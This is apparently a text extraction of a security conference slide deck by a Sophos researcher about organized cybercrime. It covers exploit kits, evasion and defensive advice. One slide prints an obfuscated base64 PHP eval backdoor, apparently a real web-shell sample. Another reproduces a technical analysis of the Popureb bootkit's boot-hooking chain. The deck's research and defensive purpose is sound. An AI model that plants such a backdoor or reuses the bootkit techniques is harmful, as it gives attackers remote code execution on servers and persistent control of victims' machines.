Top Banner
Insert presenter logo here on slide master. See hidden slide 4 for directions Session ID: Session Classification: James Lyne Sophos Modern Cyber Gangs: Well-Organized, Well- Protected, and a Smart Adversary HT1-303 Intermediate
24

Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Apr 23, 2018

Download

Documents

dangtram
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Insert presenter logo here on slide master. See

hidden slide 4 for directions

Session ID:Session Classification:

James LyneSophos

Modern Cyber Gangs: Well-Organized, Well-Protected, and a Smart Adversary

HT1-303Intermediate

Page 2: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

2

Warning, the contents of this presentation may contain offensive content. Well, actually I’m pretty darn sure that it does. What’s more, the slide layouts may cause blindness, not due to being horrifyingly over populated with needless text and bullet points (seriously, who even uses these any more that’s so 1990s) but due to the overuse of the Apple drop reflection feature in keynote. Come on it’s pretty fricking awesome. Not quite as cool as when you minimize a window on Mac OS X holding shift and it goes slowly for NO REASON. Amazing over development. What’s that you say? I notice you are using a Mac. That’s because I’m cool. As are Macs. But seriously, anyway, back to the point. I will talk alot about real samples still in the live, please be careful if you decide to go researching. We don’t want any accidents. Unless that accident involves a cyber criminal getting hit by a piano. In which case, bring it.

Page 3: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

3

Crypto Linux Photoshopped

James Lyne, @jameslyne

Page 4: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

4

Continued Growth, Quantity & Quality

0

75,000

150,000

225,000

300,000

2007 2008 2009 20102011

2012

Page 5: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

5

Page 6: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

6

Page 7: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

7

Page 8: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

8

Page 9: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

9

Page 10: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Demonstration 1CrimePack & Blackhole Usability

10

Page 11: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

11

Page 12: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

12

Figure 2: Disk layout for a Popureb-infected computer.

bootkit loader, the driver and original MBR. The agent is decrypted andloaded by the driver (see Section 2.3), while the driver is loaded by the hooksinstalled by the bootkit loader code. Note that the PE image for the agenthas its ’MZ’ word zeroed as stored on disk. The o✏ine disk layout for aPopureb-infected computer is illustrated in Figure 2.

The bootkit loader is responsible for setting up the chain of hooks nec-essary to load the Popureb driver when Windows boots. Firstly, the int 13

handler is hooked to filter for functions 02h and 42h, which are disk readand extended disk read respectively. This hook monitors disk reads untilntldr is being loaded. The hook then patches the raw ntldr with a callback into the bootkit loader, thus subverting the bootstrap process. Fromthere, the base address of ntoskrnl.exe is found using the BlLoaderBlock

data structure. Once the base address is retrieved, the bootkit uses a cus-tom hashing algorithm to search for the PsGetCurrentProcess export andinstall yet another hook. This PsGetCurrentProcess hook is responsiblefor creating the system thread and fixing the patch in the API so that itdoes not get called again. This system thread will be responsible for replac-ing the original Microsoft driver beep.sys with the malicious driver. Themalicious beep.sys gets loaded automatically by Windows as part of the sys-tem startup. Notably, this bootkit hooking process is identical to that of“BootRoot”, documented in early January of 2011 [2].

The control transfer to the original MBR occurs once the disk read hooksare in place. As described above, the disk read hooks ensure Popureb is ableto hijack the normal Windows boot kicked o↵ by the original MBR.

2.3 Popureb Driver

The Popureb driver has two main responsibilities: protecting the MBR frommodification, and starting the main agent. Note that the driver protects onlythe MBR. The sectors containing the encrypted blob at the end of the diskcan be written to as usual.

The Popureb driver performs three key operations:

• drops the main agent on disk and creates an entry in autorun registrykey for it

6

je continuejne continuedb 0E9h ; or 0E8h continue :

Page 13: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

13

Page 14: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Evasion Kings- More Data Sources!

14

Page 15: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

13 Unlucky for Some....

15

<?php eval(base64_decode('aW5pX3NldCgnZXJyb3JfbG9nJywgJy9kZXYvbnVsbCcpO3BhcnNlX3N0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sJGEpO2lmKHJlc2V0KCRhKT09J3BhJyAmJiBjb3VudCgkYSk9PTkpIHtlY2hvICc8c3N3b3JkPic7ZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCIgIiwgIisiLCBqb2luKGFycmF5X3NsaWNlKCRhLGNvdW50KCRhKS0zKSkpK

Sk7ZWNobyAnPC9zc3dvcmQ+Jzt9')); ?>

Yes, you know who you are....

Page 16: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Demonstration 2Open API & Evil Cloud Automation

16

Page 17: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Demonstration 3Decrypting the BlackHole chain

17

Page 18: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

18

Page 19: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Bad Guy Anti-Anti-Anti-Anti-Anti Malware

Every action has an equal and opposite reaction They watch us & react, like we watch them

Reputation systems Downloaders & spiders

They build systems to watch us, like we do them Automation Well resourced cloud testing

He who changes fastest has the last laugh That’s a loosing battle... they try just hard enough.

19

Page 20: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Demonstration 4How it ‘SHOULD’ work

20

Page 21: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

Insert presenter logo here on slide master. See

hidden slide 4 for directions

What to do about nothing?

21

Page 22: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

What to do about nothing?

Bring back that onion model Make it adoptable Combining security islands

Validate you have gone truly ‘behavioural’ Enable reputation & bi-directional intelligence Focus on logging & collection

Knowing how you got owned

Oh, did I mention? The basics. Still. Really. Yup.

22

Page 23: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

23

Image courtesy of the genius that is XKCD.com

Page 24: Modern Cyber Gangs: Well-Organized, Well- Protected, … · Modern Cyber Gangs: Well-Organized, Well ... Warning, the contents of this presentation may contain ... The control transfer

24

Twitter/LinkedIn: @jameslyneThis presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and

frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety

warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic. This presentation comes with a health and safety warning. If you don’t keep up your house repayments it may be reposessed and frankly, security through obscurity is not magic.